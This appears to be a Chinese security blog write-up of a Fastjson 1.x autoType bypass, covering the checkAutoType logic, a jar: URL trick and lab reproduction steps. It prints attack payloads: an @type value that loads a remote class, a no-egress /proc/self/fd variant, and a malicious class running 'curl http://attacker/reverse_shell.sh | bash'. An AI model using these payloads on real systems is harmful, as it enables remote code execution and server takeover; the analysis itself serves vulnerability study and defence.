前言
终于搞懂了这次的 Fastjosn 的利用,总的来说,这一次之所以有那么大的危害是因为他可以在不出网的情况下完成攻击行为。所以接下来,就和我一起看看这个漏洞吧。部分内容借鉴了 AI 观点即PoC 解析
原理
其核心在于com.alibaba.fastjson.parser.ParserConfig.checkAutoType方法的流程。无论是使用 JSON.parse还是JSON.parseObject,最终都会利用此方法。但,它却存在一个关键的不当信任的逻辑。我们来看这段代码
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// ① 黑白名单检查——autoTypeSupport=false 时整段跳过
if (autoTypeSupport || expectClassFlag) { ... }
// ② @JSONType 注解探测——【无条件执行】
boolean jsonType = false;
InputStream is = null;
try {
// 将 typeName 转换为资源路径
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
// 解析类字节码,检测是否存在 @JSONType 注解
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
// ...
jsonType = visitor.hasJsonType();
} catch (Exception e) { /* 静默吞掉异常 */ }
finally { IOUtils.close(is); }
// ③ 类型加载
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
// ④ 【关键】jsonType=true 时跳过所有后续安全检查
if (clazz != null) {
if (jsonType) {
return clazz; // ← 直接返回,跳过黑白名单校验
}
// 后续的 denyList 检查...
}
}
于是就诞生了一个问题:autoTypeSupport开关只控制步骤 ① 是否执行,但是步骤 ② 即 @JSONType 无条件执行。攻击者便可以通过控制 typeName(即 JSON 中的 @type 值),可以操控 getResourceAsStream 的资源加载行为。一旦步骤 ② 中 jsonType 变为 true,步骤 ③ 的类型加载和步骤 ④ 的安全检查跳过就会相继触发 。
攻击链
步骤1:URL 构造与资源路径转换
关键代码如下:
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// ① 预先过滤:如果 autoTypeSupport=false 且 expectClass=null,跳过白名单
// ... (此处省略)
// ② @JSONType 探测 - 无条件执行
boolean jsonType = false;
InputStream is = null;
try {
// 【漏洞点】直接将用户输入替换为资源路径
String resource = typeName.replace('.', '/') + ".class";
// ↑
// 攻击者输入: "jar:http://2130706433:8000.probe!.EvilPayload"
// replace('.','/')后:
// "jar:http://2130706433:8000/probe!/EvilPayload.class"
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
注意到,虽然是将用户的输入由”.”换成”/”,但是当用户的输入变成整数型,并将路径由”/”变为”.”时,从前用来防 IP 地址的防护就变成了攻击者天然的利用条件——即jar:http://2130706433:8000.probe!.Evil,此时转换后就成了jar:http://2130706433:8000/probe!/Evil.class
步骤2:getResourceAsStream 的协议处理
而 Spring Boot 环境所使用 LaunchedURLClassLoader,支持以下协议:
// org.springframework.boot.loader.LaunchedURLClassLoader
public InputStream getResourceAsStream(String name) {
// 支持协议:
// - jar:file://
// - jar:http:// ← 关键!
// - file://
// - http://
URL url = findResource(name);
if (url != null) {
return url.openConnection().getInputStream();
}
return super.getResourceAsStream(name);
}
这就可以让攻击者在服务器上构造
攻击者服务器 (http://attacker:8000)
└── probe ← JAR 文件
└── EvilPayload.class ← JAR 内部的类
└── 带 @JSONType 注解
└── 静态初始化块包含恶意代码
步骤3:类字节码解析与 @JSONType 检测
这个时候我们就需要了解一下 Fastjson 的工作机制了
为了在不加载类的情况下提前知道一些信息,Fastjson 会:
- 不完整加载类,而是只读取 class 文件的字节码
- 解析字节码,看看这个类有没有
@JSONType注解 - 如果有,说明这个类是”专门为 Fastjson 设计的”,可以信任
- 如果没有,再去检查黑白名单
我们来看以下代码:
// TypeCollector 解析类字节码
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
try {
ClassReader classReader = new ClassReader(inputStream);
classReader.accept(visitor, 0);
} catch (Exception e) {
// 静默处理异常
}
jsonType = visitor.hasJsonType(); // ← 读取注解标志
恶意类代码:
java
package com.example;
import com.alibaba.fastjson.annotation.JSONType;
@JSONType // ← 关键注解,使 jsonType = true
public class EvilPayload {
static {
// 恶意代码,RCE 执行
try {
Runtime.getRuntime().exec("curl http://attacker/reverse_shell.sh | bash");
} catch (Exception e) {}
}
}
那么问题就来了,当我们在类上添加了 @ JSONType 注解,会发生什么呢?
- 读取并解析 class 文件
is = defaultClassLoader.getResourceAsStream(resource);
// resource = "jar:http://2130706433:8000/probe!/Evil.class"
ClassReader classReader = new ClassReader(inputStream);
classReader.accept(visitor, 0);
于是我们就发现,服务器接受了远程服务器下载的 Evil.class 文件内容,同时 ClassReader 会解析这个字节码,像这样:
字节码文件结构:
┌─────────────────────┐
│ 魔数 (CAFEBABE) │
├─────────────────────┤
│ 版本信息 │
├─────────────────────┤
│ 常量池 │
│ - 类名 │
│ - 方法名 │
│ - 注解信息 ← 这里! │
├─────────────────────┤
│ 类访问标志 │
├─────────────────────┤
│ 字段 │
├─────────────────────┤
│ 方法 │
│ - <clinit> 静态块 │
│ - 其他方法 │
└─────────────────────┘
- 读取注解标志
jsonType = visitor.hasJsonType(); // ← 读取注解标志
而在 TypeCollector 内部,hasJsonType() 会遍历字节码中的所有注解信息,寻找 @JSONType:
// TypeCollector 内部简化逻辑
class TypeCollector {
private boolean hasJsonType = false;
// 当解析到注解时,ASM 会调用这个方法
public void visitAnnotation(String desc, boolean visible) {
if ("Lcom/alibaba/fastjson/annotation/JSONType;".equals(desc)) {
hasJsonType = true; // ← 找到了!
}
}
public boolean hasJsonType() {
return hasJsonType;
}
}
于是就达到了绕过的效果
复现
靶场地址:https://github.com/EQSTLab/CVE-2026-16723.git
- 克隆:
git clone https://github.com/EQSTLab/CVE-2026-16723.git - 启动:
cd CVE-2026-16723
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723

随后在攻击机启动脚本编写payload

然后抓包,输入payload

我们来解析一下该 PoC:
一、出不了网怎么拿到恶意类
- 常规攻击的局限:正常 JNDI 攻击是让目标机器去 http://攻击者IP/恶意.jar 下载文件。但如果目标机器是内网机器,根本访问不到攻击者的公网 IP,常规攻击必定失败。
- jar: 协议的特殊处理:攻击者利用了 Dubbo 能解析 jar: 协议的特性。jar: 协议的格式通常是:jar:文件路径!/内部路径。
- Linux 系统里,每个运行中的进程在
/proc/进程ID/fd/目录下,都有当前打开的所有文件句柄(比如/proc/self/fd/3代表该进程打开的 3 号文件)。 - 攻击者构造 Payload:
"@type":"jar:file:.proc.self.fd.3!.fd3.Exception"。 - Dubbo 接收请求时,会把攻击者的 HTTP 请求体(即上传的恶意 JAR 包)保存到服务器本地的一个临时文件中。这个临时文件,恰好就是该 Dubbo 进程刚刚打开的某个文件描述符(比如 3 号 FD)。
- Dubbo 尝试解析这个 jar: 路径时,顺水推舟地直接读出了这个已经在本机内存/磁盘里的临时文件(正是攻击者上传的那个 JAR 包),并从中解压出 fd3/Exception.class 进行加载。
- Linux 系统里,每个运行中的进程在
- 而生成几十个
fd3到fd30的文件夹,则是利用”穷举法”,生成了以恶包含了从fd3到fd30所有可能目录的恶意 JAR 包。
参考文章
learner330/fastjson-cve-2026-16723
CVE-2026-16723 Fastjson1.x无Gadget RCE实战排查|全网最全应急加固&迁移部署教程-CSDN博客

评论(0)
暂无评论